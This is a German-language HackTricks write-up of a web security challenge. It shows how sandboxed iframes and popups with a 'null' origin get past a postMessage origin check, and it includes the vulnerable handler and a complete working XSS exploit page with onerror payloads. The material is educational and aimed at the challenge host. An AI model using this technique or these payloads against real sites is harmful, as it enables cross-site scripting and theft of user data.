Bypassing SOP with Iframes - 1

Support HackTricks

Iframes in SOP-1

In dieser Herausforderung, die von NDevTK und Terjanq erstellt wurde, müssen Sie eine XSS in dem kodierten

const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}

Das Hauptproblem ist, dass die Hauptseite DomPurify verwendet, um data.body zu senden. Um also Ihre eigenen HTML-Daten an diesen Code zu senden, müssen Sie e.origin !== window.origin umgehen.

Lassen Sie uns die vorgeschlagene Lösung ansehen.

SOP umgehen 1 (e.origin === null)

Wenn //example.org in ein sandboxed iframe eingebettet ist, wird der Ursprung der Seite null sein, d.h. window.origin === null. Durch das Einbetten des iframes über <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php"> könnten wir den null Ursprung erzwingen.

Wenn die Seite einbettbar war, könnten Sie diesen Schutz auf diese Weise umgehen (Cookies müssen möglicherweise auch auf SameSite=None gesetzt werden).

SOP umgehen 2 (window.origin === null)

Die weniger bekannte Tatsache ist, dass wenn der sandbox-Wert allow-popups gesetzt ist, dann wird das geöffnete Popup alle sandboxed Attribute erben, es sei denn, allow-popups-to-escape-sandbox ist gesetzt. Das Öffnen eines Popups von einem null Ursprung wird window.origin im Popup ebenfalls null machen.

Herausforderungs-Lösung

Daher könnte man für diese Herausforderung ein iframe erstellen, ein Popup zur Seite mit dem anfälligen XSS-Code-Handler (/iframe.php) öffnen, da window.origin === e.origin, weil beide null sind, ist es möglich, eine Payload zu senden, die das XSS ausnutzt.

Diese Payload wird die Kennung erhalten und ein XSS zurück zur Hauptseite senden (die Seite, die das Popup geöffnet hat), die die Position zur anfälligen /iframe.php ändern wird. Da die Kennung bekannt ist, spielt es keine Rolle, dass die Bedingung window.origin === e.origin nicht erfüllt ist (denken Sie daran, der Ursprung ist das Popup vom iframe, das Ursprung null hat), weil data.identifier === identifier. Dann wird das XSS erneut ausgelöst, diesmal im richtigen Ursprung.

<body>
<script>
f = document.createElement('iframe');

// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';

// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');

// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
Unterstütze HackTricks

Last updated